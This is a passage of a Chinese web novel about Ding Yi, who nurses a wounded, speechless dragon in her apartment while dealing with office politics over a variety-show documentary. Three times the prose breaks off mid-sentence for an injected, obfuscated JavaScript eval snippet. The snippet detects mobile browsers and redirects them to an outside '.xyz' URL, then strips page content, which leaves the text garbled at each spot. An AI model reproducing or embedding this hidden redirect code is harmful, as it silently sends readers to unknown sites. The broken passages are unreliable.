这声音明显把龙吓了一跳,两只尖尖的耳朵下意识压起藏在了鬃毛里,圆圆的眼睛望向丁依,像一只小海豹。 丁依钻到龙的身下,抱起那桶燕麦。 她的声音里残留着一点白天工作的疲惫,但并不明显。她道:“这个没有关系。你能再告诉我一次,你现在感觉怎么样吗?” 龙瞄了两眼丁依,两只耳朵缓慢地立起来。 它再次做了“点头”的动作。 理论上,龙是不会“点头”的。 传说中,龙的身体由不同动物的部位组成——鹿角,驼头,兔眼,蛇身,蜃腹,鹰鳞,鹰爪,虎掌,牛耳。 龙的脖子来自于蛇,然而,蛇其实是没有脖子的。在自然界中,蛇只有在进行攻击或吞咽猎物时,头骨会与第一椎骨产生铰链运动,形成类似哺乳动物的“点头”的动作。 但不论如何,至少这个“点头”看起来比昨晚更标准。 丁依摸了摸龙后颈的鬃毛。 “好的,谢谢,你做得很好。” 龙的耳朵微弱地弹动了一下。 咔嚓,门再次被打开。 “哇塞!师妹,”一个头发卷卷、戴着圆圆的眼镜的年轻男人探头进来,打量了一圈,“镜花溪的洪水发到你家了吗?” 龙听到声音,从丁依身后好奇地把脑袋瓜伸出来。 “这是那条龙?你家这样,不会是它弄的吧?”这人又问。 丁依还挂心着楼层渗水的事。 她问:“中介怎么说,要赔偿吗?楼下被渗得严重吗?” 这个年轻男人是丁依的大师兄梁凡,她叫来帮忙的“朋友”就是他。 梁凡掐了个悬浮咒漂到沙发上躺下,舒服得长叹一口气,开口回答了丁依的问题:“渗水倒是很严重,他们整个家都被泡烂了,但不用你赔偿。” 听到别人家都泡烂了,丁依已经开始回忆着自己的银行卡余额还有多少,结果居然不用她赔偿? 她狐疑道:“这么好的吗?那我下去给他们道个谢吧?” “也不用道谢。”梁凡伸了个懒腰,从沙发上坐起来,“楼下渗水确实很严重,但不是你楼下,那位物业弄错了,渗水的屋子——”他指了指隔壁,“——是隔壁2号楼的502室。” 丁依:“……” 此时此刻,隔壁2号楼的502室。 一名身高8尺的壮汉,穿着一身湿透了的衣服,正和公寓物业一起并排坐在门口。 壮汉正襟危坐,物业战战兢兢。 物业小心地开口提问,措辞难得地精简了起来:“张先生,要不您先回家吧,这里有我守着……” 壮汉:“我姓谢。” 物业:“谢先生,要不您回……” 壮汉摆摆手,拒绝了物业的提议。“哎哟,怎么好让您一个人加班呢?”他咬着后槽牙,把“哎哟”和“加班”两个词读得特别重。“今晚我一定要把这户人家给等回来!放心,他不回来,我不会走的。” 丁依家里,满地的泥泞已经基本清干净了。 梁凡在房里来回查看,看看还有没有“漏网之泥”。 屋主本人蹲在餐椅上,正在吃梁凡带来的陶叔做的蛋糕,她身旁,两只始作俑者正自觉地蹲成一排罚站。 丁依吞下一口蛋糕,感受着香甜的滋味在口舌中化开。这蛋糕是陶叔用灵气制成,吞入喉咙后,就化为灵气散入她的四肢百骸,让她全身暖洋洋的,因过度工作而缺氧的大脑也放松了下来。 她感慨地对梁凡道:“幸好把你叫来了,如果我一个人,不知道要收拾到什么时候。” “为什么?这不是一个清洁咒就能搞定吗?”梁凡探出头来。 “那也得是你的一个清洁咒,不是我的,”丁依道,“幸亏这次没渗水,这个泥水,要是渗下去……” “你家不会渗水的,师父不是布了密不透风阵吗?”梁凡侧过头,奇怪地看了她一眼,用手拍了拍“浴室”门框边密密麻麻的符篆。 丁依这才想起,她把叶瑾瑜送龙来的木箱里的符咒都顺手贴在了“浴室”门口。 “你贴的时候没有看过吗?”梁凡问。 “没看,反正师父给的符,直接贴了。”丁依回答。 丁依又吃了一口蛋糕,发现龙正拿目光跟随着自己。 对上它圆圆的蓝眼睛,丁依敲了敲蛋糕盘子:“你也想吃这个?” 龙停顿了下,点了一下头。 然后它看了丁依一会儿,又歪了一下头。 “点头”表肯定,“歪头”表否定。丁依迷糊了,这究竟是想还是不想? “那你饿了吗?” 龙点了点头。然后又歪了一下头。 丁依放下腿,弯下腰,看着龙的眼睛。 “你知道‘饿’是什么意思吗?” 龙的一双圆圆的蓝眼睛,只是看着丁依。 半响,它点了点头,然后又歪了歪脑袋。 丁依叹了口气,蹲下身子抱住了头。 白光小狗看她这样,跑到她身前,趴在地上摇起了尾巴。 龙也吧唧一声趴在了地面上,试图跟着晃动它那大尾巴,结果差点把椅子晃倒。 “怎么,这条龙不会说话啊?” 梁凡走出来,扶住快要被龙弄倒的椅子。 丁依还抱着头自闭。她把头埋在手臂里,说话的声音听起来嗡嗡的:“师兄,这条龙我养不了。” “喔?你和师父说了吗?”梁凡切了块蛋糕,发现龙的视线一直跟随着它,鼻子还一动一动。 “说了。” “师父她怎么回你?” “她说养不了算了,她也是镜花溪里偶然捡到的,让我随便找个有水的地方放了,反正不管妖怪和人都尊龙为神。” “那你就放了呗。”梁凡不以为意。 “哈?师父这个人你还不了解吗,她肯定是开玩笑,真要能放了,她根本不会把这条龙送过来。” “但师妹你也尽力了不是吗?你已经给它治过伤了。妖怪自有天命,它又是龙神,放回水里,它应该能自己生存。”梁凡随意道。“话说师妹,你觉得这个提拉米苏好吃吗?” 他的话虽没错,但不知怎么,丁依心里的火腾地一下就起来了。 “说得倒是轻松。既然尊龙为神,那这条龙身上的伤怎么回事?谁砍的?既然尊龙为神,怎么没有其他妖怪来救它治它,让它落到我这个凡人手里?你知道它背上的伤有多重吗?” 她抬起头,却看到“重伤”的“龙神”本龙正把一只爪子搭在梁凡腿上,还没清理的泥浆弄得梁凡裤子上都是。 而梁凡毫不在意,手里挖了一大勺蛋糕,准备喂进龙的嘴里。 丁依愣了一下,刚想说些什么,结果下一秒,就看见龙张开嘴,把小小一勺蛋糕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502234|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吞了后,还吧唧了下嘴皮子。 梁凡问龙:“怎么样,这个提拉米苏好吃吗?” 龙点了点头。 梁凡摸了摸龙的脑壳:“好龙,好龙。” 丁依:…… 不是,你们俩以前认识吗? “所以说,它当时指甲也被拔了?” 听完丁依说明龙的伤情,梁凡抬起龙的龙爪,轻轻揉着它的爪子尖端。 龙好像觉得有点痒,把头歪着,用侧颈蹭梁凡的手。刚刚丁依重新给它清洁一新,它又恢复了干净清爽的样子。 “对,我用了回春术才长出来。”丁依叹了口气,往嘴里塞下了最后一口蛋糕。白光小狗在她旁边疯狂摇尾巴,丁依看到了,用手指刮了盘子里剩下的奶油喂给它。 “那它现在是什么情况?” 丁依摇摇头。“我也不知道,按理说它是龙,不该这么懵懂如人类孩童,也许是重伤功力退化了。” 梁凡:“那先慢慢养着呗。” 慢慢养着?今天这一天都够她受了。 丁依问梁凡:“师兄,你能帮我养吗?” 梁凡倒是爽快答应下来:“可以,不过最近不行,我哥哥生病了,最近我在家里住。” “那什么时候可以?” “半个月后吧。” 半个月有点久,不过正好赶在丁依小组的新项目开播之前,避开了她最忙的时候。 “你哥生的什么病?” “病是小病,不过……”梁凡叼着勺子,苦恼于不知道如何描述他哥的病情,“我也刚被我爸妈召唤回家,还在观察情况。” 丁依还要再问,突然被拍了拍膝盖。 “哎哟。” 她揉着膝盖,狐疑地和龙对视。 对方的龙爪还搭在她膝盖上,圆圆的眼睛看着她,鼻孔呼哧喷了一下气。 “你又怎么了?”她问。 龙微微低头,用鼻子碰了碰她面前的蛋糕盘子。 “你还想吃蛋糕?你又饿了?”她问。 龙点了点头。 可蛋糕已经吃完了。而且,龙究竟会不会饿? 丁依正在思考,突然察觉龙用头蹭了蹭自己的手。 “你怎么了?头痒?”她狐疑道。 这时,梁凡和她打招呼,说自己要走了,他还有师父交代的活没干完。 叶瑾瑜的大徒弟和二徒弟各有明确的分工,照顾受伤妖怪的活计大部分落在丁依头上。 出门前,梁凡想起了什么。 他伸出右手手掌,掌心朝上,一筐冒着白气的青色小虾瞬间从天而降,落入他怀中。 “灵虾?” “嗯,给它的。”梁凡指了指龙,说完便出了门。 丁依抱着那筐灵虾,偷偷摊开自己的右手手掌,可好一会儿了还是手上空空,只好作罢。 那条龙也跟到了门口。 它似乎觉得梁凡的消失很神奇,在梁凡出门后,它把两只前爪趴在门上,沿着门缝东闻闻西嗅嗅。看到丁依示意它过来,它又折返回来,伏在了丁依面前。 丁依把那筐灵虾托到龙的嘴边。 它嗅闻了一番,犹犹豫豫地舔进一口进嘴里,没嚼几下,就又咳又呛。 “怎么回事?” 丁依掰过龙那毛茸茸的脑袋,擦了一把它眼角被呛出的眼泪。 捻起一只闻了闻, 嗯?这灵虾怎么一股芥末味? 4. 第4章 前一晚,丁依又在家熬夜加班,清晨再次被老杨吵醒时,她头疼欲裂。 “小丁,怎么回事?我才看到你昨晚发来的消息,第一期节目,魏家隆就不愿意拍摄?” 果然,如丁依所料,老杨痛苦的磨合期来了。 “嗯,艺统那边的反馈,艺人不愿意我们拍摄除节目录制外的私人行程。” “那怎么办?” “就按照我领导那天说的,拍得到最好,拍不到拉倒,直接拍一点节目后台的素材吧。” “哎哟,你们真要这样?这怎么行呢,后台素材节目里要用,我们不能再用。” “为什么不行?” “道理不是很简单吗?你们卖会员给视频网站的观众,说买了会员就能吃两个菜,结果上了桌,两盘菜一模一样,观众肯定会骂的呀!” 丁依沉默了一会儿。 事情确实是像老杨说的这样,但那天张铭也和老杨说过了,他们这边,只要老杨做出的东西“播出去能是那么个东西就行”。可现在老杨反应过来,还是不想妥协。 她一定程度理解老杨的执着,但这只是个小项目,是边角料,她已经那么累了,不想陪着他较真。 好半天,丁依挤出一了句:“杨老师,我说了也不算”。 挂了电话,丁依走出卧室。 来回张望,才看见落地窗旁蜷缩着巨大的一条。 听到声音,龙的耳朵扇动了两下,把头转向丁依, 丁依捡起掉在地板上的电费账单,和龙打招呼:“你感觉还好吗?” 看到龙只是定着不动,她补上后半句:“如果觉得还好的话,你就——” 话没说完,就看见龙用力点了个头,两只耳朵都跟着抖了抖。 丁依忍不住笑了一下。 看到丁依的笑,龙歪了歪脑袋,眨巴了一下它圆圆的蓝眼睛。 清透的晨光笼罩着客厅。 丁依的早餐是奶油草莓蛋糕。她刚吃一口,就看见龙哒哒哒地从窗边跑来。原本躺在它身上睡觉的白光小狗,啪地一下被甩在地板上,迷迷糊糊地甩了甩头。 龙跑到她身边,看着桌上的奶油蛋糕,伸出爪子扒拉了一下丁依的膝盖。 “这是普通的奶油蛋糕,你不能吃,”她又问,“你是饿了吗?” 龙点了点头,低下头想往丁依怀里蹭。 丁依伸手揉了揉它的头顶。 她已经发现,龙把“点头”和“摸头”当成一个组合动作,每次它点头后,如果自己不主动摸它,它就会自己伸头蹭蹭。 丁依蹲下身,伸手摸了摸龙的肚子。 这次龙倒是很配合,把肚子让出来给她摸,可惜丁依没摸出个名堂,也没摸出有没有胃或者肠子,只摸出一片绵软。 见龙扭来扭去的,丁依以为它痒,就住了手。 丁依还是很在意这条龙到底是不是“饿”了。 她想再试一次。 她端着自己的奶油蛋糕,示意给龙看。 “这是食物。” 她摸了摸肚子。 “我饿了。” 她吃了一口蛋糕。 “所以我吃了食物。” 她又拿勺子指了指龙。 “你是饿了吗?” 这次龙又不点头了,它歪了歪头。 它还是没懂“饿”的意思,但又想要吃。 丁依觉得头更疼了。 这条龙不仅不会说人话,似乎也没有自己的语言系统,虽然是传说中的“妖神”,灵智却似乎还不如普通的山精野怪,她第一次遇见这种妖怪 丁依如此在意这条龙会不会“饿”,是有原因的。 妖怪修炼,大抵分为三重境界, 第一境是“启明”,通俗来讲,就是本应蒙昧之物生出了智慧。 要修炼过“启明”境,需要妖怪“一开灵智”、“二炼妖气”、“三通人言”。“开灵智”、“通人言”都是字面意思。而“炼妖气”,便是指妖怪学会“炼气”,能转化天地精华为己用,可以以灵气为食。 第二境是“幻形”,修炼到这一境的妖怪,则可以“拟经络”“换皮囊”“藏妖相”,一言以蔽之,就是可以化形为人,丁依见过的大部分妖怪,基本都是修炼到了这一境界。 第三境是“结丹”。对于这一境,叶瑾瑜没有多解释,只告诉丁依他们,能到这一境的妖怪,基本就是妖怪们口中的“上古妖神”。 这条龙不会说人话,显然未通人言,严格来说,是未过“启明”。 但它又是“龙”,算是“上古妖神”,也就是已到“结丹”。 这又弱又强的,它究竟能不能“炼气”呢? 如果能“炼气”,不仅关乎“饿不饿”的问题,丁依家中贴有叶瑾瑜的春风化雨阵,这是叶瑾瑜原本贴在木箱上的,原本就是用来方便这条龙吸收阵法的灵气。如果它能自己“炼气”,这条龙的伤口恢复速度可以大幅提升。 马蹄声在天空中响起,窗外的动静打断了丁依的思考。 小马又拉着大木箱来了,丁依把窗打开,马妖轻车熟路地钻了进来。 进来后,小马卸下了两个大竹篓,篓子里蹦蹦跳跳的灵虾像磁铁一样吸住了龙的眼睛。 丁依拉过竹篓,捻起一只虾,问龙:“这个你吃吗” 龙盯着虾,麻利地点了头。 丁依摸了摸它的头,发现它在焦躁地动来动去。 “张嘴。”丁依示范了一下张嘴的动作。 龙把嘴张开,丁依把小虾丢进了龙的嘴里。 “吃吧。” 这是龙第一次闻到海水的味道。 一瞬间,海风带来的咸味,浪花中的泡沫,海藻的腥香,还有沙滩上的矿物质气息……这些它理应从未体验过的海洋记忆的碎片,如走马灯般在它的脑子里闪回。 虽然不知道原因,但这些让它感觉很好。 丁依看到龙很快嚼吧嚼吧把虾吞了。 吃完,它的尾巴轻轻拍了两下地板。 拿手喂了龙两只虾后,丁依就停下了。 龙吃完嘴里的虾,眼睛亮晶晶,期待地望着丁依。 丁依没有继续伸手拿虾,而是推了推篓子,指着里面的虾:“自己吃吧” 龙好像看明白了她的意思,低下头闻了闻,就把头伸进了篓子里,狼吞虎咽了起来。 小马全程在旁边看着。它道:“龙神今天看起来状态不错。” 丁依想起了叶瑾瑜说的“妖怪都尊龙为神”。 妖怪真的都把龙当成神吗?她心里这么想着,嘴里也问出了口。 小马想了想,道:“好像是?反正大家都是‘龙神’、‘龙神’这么叫的。” “为什么呢?” “可能因为,龙神们都……都很强大?” 小马语气有点虚,它看了一眼正在和篓子里的虾米搏斗的龙。 丁依问:“所有你见过的龙都很强大吗?” 小马遗憾地摇摇头:“除了它,我只见过一位龙神,就是丁小姐你也见过的那位。现在妖怪也越来也少,更别提龙神了。” 妖怪以灵气为食,随着灵气凋敝,妖怪数量自然也越来越少,这是丁依早就知道的。 “所以从前的龙比现在多吗?” 小马道:“估计是吧,所有老妖怪都这么说,它们说,从前龙神们不仅龙数众多,还非常强大,溪潭湖江海,它们无所不在,深受妖怪和凡人们的敬仰和爱戴,掌管天下水域,只要有水的地方,它们都有求必应。” “有求必应?”丁依的好奇心被勾起来了,忍不住追问:“它们有告诉你,具体怎么个有求必应法吗?” 小马回忆了一番,道:“还真有。这件事,是街上开珠宝店的蚌精就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502235|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 告诉我。它说,那是它刚修炼成妖时,当时它已经有了灵识,能够‘炼气’,却还未至‘幻形’,不能化形移动,仍是只大河蚌的样子。它藏在近海的一处礁岩缝里,附近有一个渔村,它便每日吸收大海灵气修炼。” 丁依也认识那只蚌精,隐约记得它是个有点呱噪的性格,总是在妖群中大声聊天。 “然后呢?”她问。 小马继续道:“某一年,渔村爆发怪病,海里的鱼虾暴毙,尸体飘得海面上全是,村民也皮肤溃烂痛不欲生,渔村里一片死气,连那蚌精也日渐觉得头晕眼花,想来是灵气不足,灵核不稳,对妖来说,灵核一旦溃散,等同于魂飞魄散。你们凡人的官府派了官兵来,却只把整个村子封了,人兽妖都被困村里等死,叫天不应、叫地无门。” 听起来确实是一个死局,但这蚌精显然最后没死。 “所以是龙救了它?” “对,龙救了它。沿海的渔民靠海吃饭,本就有拜龙的风俗,村里也有一座龙王庙,垂死之际,村民更是竞相来庙里祈求龙王。蚌精也跟着一起,死、咳咳、死蚌当活蚌医,跟着村民一起求龙王,没想到真求来了一条海龙。那条龙神最终救了它,还有那个渔村。” “龙怎么救的它?” “下雨。那条龙下了一场雨,村民的病就都好了。” “只是下雨?” “对。那蚌精说,它即将魂飞魄散之际,看到一尾巨兽从海中游来,随后破海而出,腾空而起,竟然是一条龙!它盘旋到天空,立刻大雨倾盆,病患们触雨即愈,海里的鱼虾也不再暴毙了。蚌精自己淋了这个雨,更是修为大涨,直接越阶到了‘幻形’,蚌精对这位龙神一番感谢,便化形为人,离开了这个渔村。” “那这条龙呢?” “这我没问,估计施雨救人后,自行回到海里了吧?” 丁依沉吟不语。 小马今天还有其它的货要送。提醒丁依记得在小程序确认收货后,它从窗口一跃而出,消失在空中。 蚌精和龙的故事,让丁依对“龙”这种妖怪的力量有了新的了解。 如果光是施云布雨,就能在一个区域范围内扑灭瘟疫、拯救生命、提升修为,那龙的力量确实很强大。 不过……看着她面前那条吃到一半停下,开始满屋子哒哒哒乱跑的龙,丁依摇了摇头。 她还是很怀疑,这条龙和故事里的“龙神”,究竟是不是同宗同源? 为了这条到处乱跑的小祖宗,上班前,丁依把家里又“布置”了一番。 她在屋子的所有角落都贴满了别有洞天符,这样,这条龙在家里跑来跑去的时候,就不会撞到家具和墙壁。 她花了大力气在“小桃源”入口布了个清洁阵法,即使这条龙四处穿梭,也不会把她的公寓地板糊得满是泥浆。 她还从袖里乾坤中把自己珍藏的羊毛毯子找了出来——这是羊妖用自己的毛织成后送给她的,因为那只羊妖的原身是山羊,所以这块毯子非常珍贵。这张毯子被她铺在“小桃源”的一块空地上。 在她做这些的时候,那条龙一直哒哒哒地爬来爬去,又提醒了她——得给地板上一个悄无声息咒,不然底下的邻居指定得投诉。 整个过程中,她还不时得回复工作消息。 她在日程表里检查了今日行程: 上午有三个会,有二个需求要递,还有一个报告要交。 下午……对了下午她要…… 眼看快到打卡时间,丁依急匆匆地出门。 龙哒哒哒地跟到门口,想跟着一起挤出去,白光小狗在后面使劲咬住龙的尾巴阻止它。 “你不能出门,晚上回来给你带吃的,如果饿了忍一忍。”丁依留下这句话,伸手“嗖”地把白光小狗收入袖中,就啪地把龙关在了家里。 龙睁着圆圆的蓝眼睛,独自一龙和公寓铁门面面相觑。 5. 第5章 丁依踩点赶到会议室的时候,会议室里人还没到齐。 实习生小赵拉开身旁的椅子,招呼丁依过来,:“丁丁姐,坐这边。” 组长张铭看到她来,递给丁依一杯咖啡,笑道:“这杯是你的,难得看到你掐点来啊。” 丁依笑了笑,对他说了声“谢谢”。 这个会是新项目——《重启顶流时代》这档综艺的组内周会。节目没两天就要开录,许多事项亟待最后讨论定夺。 迟到的同事陆续进来,只剩陈妮一个人还没到,原定的会议时间已经过了许久,张铭却还拖着不开始。 丁依刚刚吃了一块小饼干,现在正无意识地把饼干的包装纸撕成一缕一缕。等得有点急躁,她问张铭:“我们能自己先开会吗?” 张铭道:“再等等陈妮吧。” 丁依问道:“把她负责的部分挪后面讨论不行吗?她不是PM,不用所有人等着她一个人吧。” 张铭刚想要开口,却又停下。 实习生小赵咳咳了两声,开门声响起——原来是陈妮进来了。 陈妮穿得光鲜亮丽地走进来,脸上化了全妆,衬得一圈早起的社畜同僚更加萎靡。 张铭把最后一杯咖啡递给陈妮,笑道:“提醒一下,你今天可是迟到了,下次得请大家喝咖啡。”陈妮接过咖啡笑了笑,像个没事人一样坐下,无视了他的暗示。 实习生小赵凑过来,和丁依说悄悄话:“本来我还有点尴尬,看她这样又是一肚子气。你说她开门前,有没有听见你说的话?” 丁依递给小赵一块小饼干,道:“不用管她,会开上了就行。” 她不想管陈妮,陈妮却记挂着她。 前面的会议进程还算井井有条,轮到陈妮负责的艺人需求,她一开口,不先说具体事项,反而语意不详、拐弯抹角地来了一大通: “先和大家说个情况哈。最近临近开录,艺人需求特别多,我还是希望大家递给我需求的时候,能分一下主次。投入产出比不高的,尽量就别递给我了。” 见大家一片沉默,陈妮又自顾自接着道:“对了丁依——” 听到这句“对了”,丁依就知道陈妮要来找自己的事了。 “——我刚看到你早上发来的消息,你的那个纪录片,还想再问一次魏家隆的意愿?” “嗯,对,纪录片导演那边还想再争取一下。” “那个纪录片,不是说后台随便拍拍就可以吗?” 陈妮的语气很娇俏,里面有一种刻意的亲切,来试图掩盖她没礼貌的措辞。 周围有同事露出了不以为然的表情,但陈妮自己没有察觉。 “据我所知,没人说过后台随便拍拍就可以,这个纪录片既然列进了物料清单里,相信老板们也不是随便列列的。”丁依道。 ”好吧,不过我还是觉得,大事小事要分得清。它跟主节目、跟商务通告比,总归是一个小拍摄。而且,魏家隆都已经拒绝了,还要再把需求递一次?节目马上录制,我这里不知道多少需求排队呢,你们这样太占用我和艺人沟通的资源了,我的带宽就这么点,可没办法替你们又争西瓜又拿芝麻。”说完这句,陈妮又话锋一转,语调似乎放软,话里却藏了钩子,“我听说,这个纪录片导演是第一次接带艺人的活?估计也是不知道艺人有多难协调吧?” 这句话是问句,丁依刚想回答,陈妮又自己抢在前头: “新供应商不懂事嘛,我也能理解,就是希望我们自己同事能‘懂事’一点,自己先判断一下,不要什么不合理的要求都转发过来。” 艺人需求是陈妮统一负责的,说是统一负责,其实就是把大家各自的需求整合给艺统,艺统再给到艺人。说白了,她也是颗螺丝钉,只是被拧在了更被人看到的机器部件。 老杨提出纪录片第一期想要拍魏家隆后,丁依便按照流程把这个艺人需求连同其它她负责的部分,一起发给陈妮协调。魏家隆是这档节目里流量最高的艺人,理所当然有大量需求堆在他身上,丁依不是没预料到他会拒绝,昨晚第一次拒绝后,她也把情况同步给了老杨。她今早再发了一次,原本只是准备再尝试一次,不行就彻底算了,却被陈妮硬拿来挑刺。 看来陈妮进门时,十有八九听到了丁依的话。但这没什么,丁依相信自己没说错话,她只是就事论事。 陈妮一通输出,办公室里静了两秒。 张铭清了清喉咙,想要打个哈哈敷衍过去,却听丁依先开口了。 “抱歉,我没听懂,我在工作里不讲‘懂事’,只讲负责。我负责我该负责的,你也负责你该负责的。就算是王玫生病,我只是临时接手,我也要对这个纪录片负责,所以我被拒绝了一次也尽量争取,如果你觉得我的需求会害了你所说的‘大事’,你反馈给我,我会向领导申请中止这个纪录片的拍摄。既然它只是‘芝麻’,想来领导也会同意我的申请的。” 丁依的声音不大,表情也很淡。她全程没看张铭,但张铭听出了她很火大,而且这火很快会烧到他这里。 他赶紧开口:“这个纪录片不能不拍!明明白白写在会员物料的清单里,早就承诺出去了,要是不拍,我就真没东西填会员的坑了,上个项目我就欠了会员那边不少货,再欠下去要被投诉了!”他转头和陈妮道:“你就再和魏家隆提一次,拒绝了再说嘛!这些明星都是过气了才来的,没那么金贵!” 另一位同事魏清也开口帮着分析:“其实吧,纪录片这种小物料,反而是有长尾效应的。虽然拉新主要靠高光舞台片段,但衍生节目、后台花絮这些东西能保持用户黏性。”虽然陈妮一副没听见她说话的样子,她还是耐着性子继续:“对于明星来说也是,被这种物料吸引的粉丝更死忠,建议可以和艺人那边强调一下,也许这样他们的接受度更高?” 陈妮不搭腔,张铭皱着眉,反手敲了敲桌子。 见张铭终于黑脸,陈妮这才不情不愿地答应了:“那我再去问问吧。” 围观全程,实习生小赵忍不住翻了个大白眼。 她摸出手机,给同在这家网站实习的同学琴琴发了条消息:「今天午饭一起吃,我一定要和你吐槽我们组的极品!」 琴琴很快回复:「好滴,十二点,还是在小狗咖啡厅碰头~」 午休时间,小狗咖啡厅。 这家咖啡厅的装潢非常有家庭氛围,软软的沙发,毛茸茸的垫子,四处散落的小狗玩具。 这附近的大部分餐饮店在午休时间都人满为患,这家店却十分清闲,因为某些原因,大部分在开发区打工的牛马不会选择这家店吃午餐。小赵和琴琴乐得不跟别人挤,于是成了这家店的常客。 “啧啧啧,真没想到,这个陈妮原来是这种人。”听完小赵复述整段对话,琴琴面露惊讶。 “怎么,你原来就知道她?”小赵问。 “知道啊,她经常来我们办公室串门,和我们领导聊天一聊就几小时,每次来都给带小零食和奶茶,语气也挺和气,我本来觉得她人挺好的。”琴琴道。 小赵这才想起,琴琴是在艺统组实习,正是陈妮负责对接的部门。 “她在你们那儿都聊些什么?”小赵问。 “没聊什么有意义的,就是一起吐槽。她俩特别爱吐槽别人,你说的那个名字好像也听她吐槽过,那个丁什么……” “丁依?” “对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502236|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对对,她说这个丁依,特别拿鸡毛当令箭。” “切!陈妮自己才是吧?对接个艺人,把艺人像当神仙捧着,需求连提都不让提了,我劝她别太爱了。”回忆起陈妮那副高高在上的样子,小赵还是气不打一处来。 “其实这点最让我觉得奇怪,你说她在你们组把艺人当作大神供着,可她和我领导聊起艺人,可不是这幅面孔。” “喔?她在你们那儿不是这样?” “对,她和我领导聊起艺人,别说把艺人当神仙,简直像把艺人当……”琴琴皱着眉,艰难地找形容,“这么说可能有点不合适,但我感觉吧,她像把艺人当戏子、当卖笑的,有点瞧不起的意思,反正她俩只要聊起艺人,不是聊恋爱出轨劈腿的八卦,就是回忆哪个男明星和她们说话像调情的。” 哎?小赵也有点懵。她问:“可能这些明星本来就人品差?” “也许吧?但这个陈妮做人两副面孔,肯定也有问题。” 她俩还想再讨论,被上菜的服务生打断了。 “主人,你们饿了吧?汪!” 带着狗耳头箍和毛绒尾巴的浅栗色头发的年轻男生,在桌上放下两盘番茄蛋包饭后,看着她俩的眼睛问道。 这么羞耻的台词,这个男生却说得无比自然,说完他也不离开,只是咧着嘴看着她俩笑。他的眼睛热情得像要发光,看他的表情,如果他身后的尾巴真的能动,说不定现在真的会疯狂地甩个不停。光是看着他亮闪闪的眼睛,小赵和琴琴就忍不住脸红,感觉体内的催产素和内啡肽在疯狂分泌。 没错,这是一家小狗主题的男仆咖啡馆。 “我发现,旺旺最近,是不是沉稳多了?” 看着不远处那位热情的男服务生,梁凡问道。他身体斜倚着吧台的柜子,手上五指翻飞,用某种法术操纵着眼镜布,让它追在空中乱飞的眼镜框后面四处跑。眼镜框东飞西窜,不时撞到橱柜和台面上。 “嗯,对,他这两天是沉稳了点。”回复梁凡的是吧台前的另一人。他穿着咖啡师的制服,背影非常瘦削,头发同样是栗色的,只是颜色更深一点。他话里带着清淡的笑意,无论是说话的语气,还是工作中的架势,都明显沉稳得多。 “不错啊,这么快就克服了原身的天性?”梁凡道。 那人笑道:“其实也没完全克服,上周丁小姐过来的时候,正好撞见旺旺又忍不住在其他客人面前露了尾巴。” “喔?师妹她来过?” “嗯,那天丁小姐特别生气,大骂了旺旺一顿,还发誓说她再也不管他了,那之后旺旺一直夹着尾巴。不过——”他把头往一个方向转去,好像在看什么,姿势却有点不易察觉的别扭。 梁凡也看过去,发现旺旺上完菜后,虽然站到了远处,却仍克制不住地咧着嘴笑着看向两个女孩,似乎很想靠近她们。 那人笑着摇了摇头。“也不知道这次他能忍几天,早就和他说过,人的形态不像狗身,真怕他被客人当成变态。” “没事,你要相信狗的天性,旺旺愿意靠近的客人,一定都很喜欢他,”梁凡安慰他,“话说,真没想到,师妹她工作忙得像要死了一样,居然还能抽出时间过来。” “丁小姐她一向是——” 那人正说着话,梁凡却看到自己四处作乱的眼镜框直直往他的头上撞去。 “哎——”梁凡正要紧急掐诀,却见那人轻轻伸手一拂,就把眼镜框和眼镜布一同收入手中。 他转头伸手,把镜框和布递给梁凡。他温和的脸上,一双大而无神的眼睛十分显眼,他的嘴角挂着淡淡的笑,灰色的瞳孔却如同死海一样静谧。 这是一双不能视物的眼睛。 6. 第6章 “好险!抱歉啊戌铃,差点打到你了。”梁凡挠了挠头,从他手中接过了自己的镜框和眼镜布。 戌铃笑了笑,低下头继续手上的工作。他脖子的姿势有点别扭,可能因为他并不是用眼睛在看东西。 电话铃声响起。 梁凡接通手机:“喂,师父?”对方说了什么,梁凡面露尴尬,有点畏缩地回复道,“我没忘,嗯嗯好,下午那时候我会准时回来的。”挂了电话,他和戌铃匆匆道了声再见,就离开了咖啡馆。 听着梁凡冲出去带起的一阵风声,戌铃笑了笑。 他有些僵硬地低下头,继续移动手中的花缸,然后拉高收尾,拍了拍手边的铃铛。 一个声音呼哧带喘地小跑过来,是旺旺。 “咖啡好了,送去给两位小姐吧,”戌铃仿佛看到了旺旺着急忙慌想端走的样子,说完又补了句,“小心点,别洒了。” “汪!”旺旺坚定地回复了一声。 